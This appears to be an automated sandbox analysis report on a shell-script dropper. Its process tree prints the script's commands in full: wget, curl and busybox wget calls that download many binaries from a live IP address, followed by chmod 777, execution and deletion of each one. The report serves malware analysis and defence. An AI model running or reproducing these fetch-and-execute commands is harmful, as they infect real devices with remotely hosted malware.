Analysis
-
max time kernel
61s -
max time network
65s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
28/10/2024, 02:12
Static task
static1
Behavioral task
behavioral1
Sample
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
-
Size
10KB
-
MD5
d8b3cb4793886f8ba51c73bc3cadbaca
-
SHA1
2a4c460dad61345bdd09351812e2865159abe9dd
-
SHA256
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31
-
SHA512
dac5943a6be21fdaf966f6845585dedf0d97cbfa7743cd046fe3570f9ed3a292545364c7f491984555e1e5c5093f3ed46570d03629c6f6786b735a294788e013
-
SSDEEP
192:rmjDQXL2FkYrQo5MENdKVRKKmdNdKVR2kYrQoYjDQXLoN:UFkYrQo5MAKmbkYrQo6
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 22 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 700 chmod 713 chmod 750 chmod 845 chmod 889 chmod 670 chmod 683 chmod 689 chmod 883 chmod 733 chmod 778 chmod 851 chmod 837 chmod 863 chmod 871 chmod 807 chmod 825 chmod 831 chmod 877 chmod 766 chmod 794 chmod 857 chmod -
Executes dropped EXE 22 IoCs
ioc pid Process /tmp/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv 671 LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv /tmp/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB 684 x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB /tmp/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM 690 jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM /tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj 702 mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj /tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 714 kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 /tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy 734 ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy /tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b 752 CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b /tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI 767 HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI /tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY 779 dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY /tmp/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9 795 Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9 /tmp/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ 809 ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ /tmp/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0 826 yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0 /tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX 832 ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX /tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr 838 vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr /tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 846 kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 /tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj 852 mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj /tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY 858 dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY /tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy 864 ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy /tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b 872 CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b /tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI 878 HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI /tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX 884 ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX /tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr 890 vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr -
Checks CPU configuration 1 TTPs 22 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 22 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv curl File opened for modification /tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI curl File opened for modification /tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX curl File opened for modification /tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy curl File opened for modification /tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 curl File opened for modification /tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj curl File opened for modification /tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY curl File opened for modification /tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy curl File opened for modification /tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI curl File opened for modification /tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX curl File opened for modification /tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 curl File opened for modification /tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b curl File opened for modification /tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY curl File opened for modification /tmp/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9 curl File opened for modification /tmp/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0 curl File opened for modification /tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b curl File opened for modification /tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr curl File opened for modification /tmp/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB curl File opened for modification /tmp/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM curl File opened for modification /tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj curl File opened for modification /tmp/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ curl File opened for modification /tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr curl
Processes
-
/tmp/1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh/tmp/1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh1⤵PID:644
-
/bin/rm/bin/rm bins.sh2⤵PID:648
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵PID:653
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:660
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵PID:668
-
-
/bin/chmodchmod 777 LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵
- File and Directory Permissions Modification
PID:670
-
-
/tmp/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv./LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵
- Executes dropped EXE
PID:671
-
-
/bin/rmrm LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵PID:673
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵PID:675
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:681
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵PID:682
-
-
/bin/chmodchmod 777 x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵
- File and Directory Permissions Modification
PID:683
-
-
/tmp/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB./x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵
- Executes dropped EXE
PID:684
-
-
/bin/rmrm x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵PID:685
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵PID:686
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:687
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵PID:688
-
-
/bin/chmodchmod 777 jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵
- File and Directory Permissions Modification
PID:689
-
-
/tmp/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM./jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵
- Executes dropped EXE
PID:690
-
-
/bin/rmrm jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵PID:691
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:692
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:695
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:698
-
-
/bin/chmodchmod 777 mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- File and Directory Permissions Modification
PID:700
-
-
/tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj./mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- Executes dropped EXE
PID:702
-
-
/bin/rmrm mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:703
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:704
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:707
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:710
-
-
/bin/chmodchmod 777 kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- File and Directory Permissions Modification
PID:713
-
-
/tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6./kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- Executes dropped EXE
PID:714
-
-
/bin/rmrm kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:715
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:716
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:719
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:725
-
-
/bin/chmodchmod 777 ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- File and Directory Permissions Modification
PID:733
-
-
/tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy./ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- Executes dropped EXE
PID:734
-
-
/bin/rmrm ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:736
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:737
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:742
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:747
-
-
/bin/chmodchmod 777 CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- File and Directory Permissions Modification
PID:750
-
-
/tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b./CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- Executes dropped EXE
PID:752
-
-
/bin/rmrm CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:753
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:755
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:764
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:765
-
-
/bin/chmodchmod 777 HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- File and Directory Permissions Modification
PID:766
-
-
/tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI./HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- Executes dropped EXE
PID:767
-
-
/bin/rmrm HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:768
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:769
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:772
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:775
-
-
/bin/chmodchmod 777 dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- File and Directory Permissions Modification
PID:778
-
-
/tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY./dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- Executes dropped EXE
PID:779
-
-
/bin/rmrm dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:780
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:781
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:784
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:788
-
-
/bin/chmodchmod 777 Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵
- File and Directory Permissions Modification
PID:794
-
-
/tmp/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9./Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵
- Executes dropped EXE
PID:795
-
-
/bin/rmrm Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:797
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵PID:798
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:800
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵PID:804
-
-
/bin/chmodchmod 777 ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵
- File and Directory Permissions Modification
PID:807
-
-
/tmp/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ./ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵
- Executes dropped EXE
PID:809
-
-
/bin/rmrm ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵PID:810
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵PID:811
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:823
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵PID:824
-
-
/bin/chmodchmod 777 yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵
- File and Directory Permissions Modification
PID:825
-
-
/tmp/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0./yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵
- Executes dropped EXE
PID:826
-
-
/bin/rmrm yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵PID:827
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:828
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:829
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:830
-
-
/bin/chmodchmod 777 ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- File and Directory Permissions Modification
PID:831
-
-
/tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX./ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- Executes dropped EXE
PID:832
-
-
/bin/rmrm ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:833
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:834
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:835
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:836
-
-
/bin/chmodchmod 777 vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- File and Directory Permissions Modification
PID:837
-
-
/tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr./vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- Executes dropped EXE
PID:838
-
-
/bin/rmrm vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:839
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:840
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:841
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:842
-
-
/bin/chmodchmod 777 kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- File and Directory Permissions Modification
PID:845
-
-
/tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6./kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- Executes dropped EXE
PID:846
-
-
/bin/rmrm kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:847
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:848
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:849
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:850
-
-
/bin/chmodchmod 777 mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- File and Directory Permissions Modification
PID:851
-
-
/tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj./mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- Executes dropped EXE
PID:852
-
-
/bin/rmrm mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:853
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:854
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:855
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:856
-
-
/bin/chmodchmod 777 dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- File and Directory Permissions Modification
PID:857
-
-
/tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY./dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- Executes dropped EXE
PID:858
-
-
/bin/rmrm dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:859
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:860
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:861
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:862
-
-
/bin/chmodchmod 777 ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- File and Directory Permissions Modification
PID:863
-
-
/tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy./ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- Executes dropped EXE
PID:864
-
-
/bin/rmrm ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:865
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:866
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:869
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:870
-
-
/bin/chmodchmod 777 CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- File and Directory Permissions Modification
PID:871
-
-
/tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b./CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- Executes dropped EXE
PID:872
-
-
/bin/rmrm CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:873
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:874
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:875
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:876
-
-
/bin/chmodchmod 777 HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- File and Directory Permissions Modification
PID:877
-
-
/tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI./HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- Executes dropped EXE
PID:878
-
-
/bin/rmrm HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:879
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:880
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
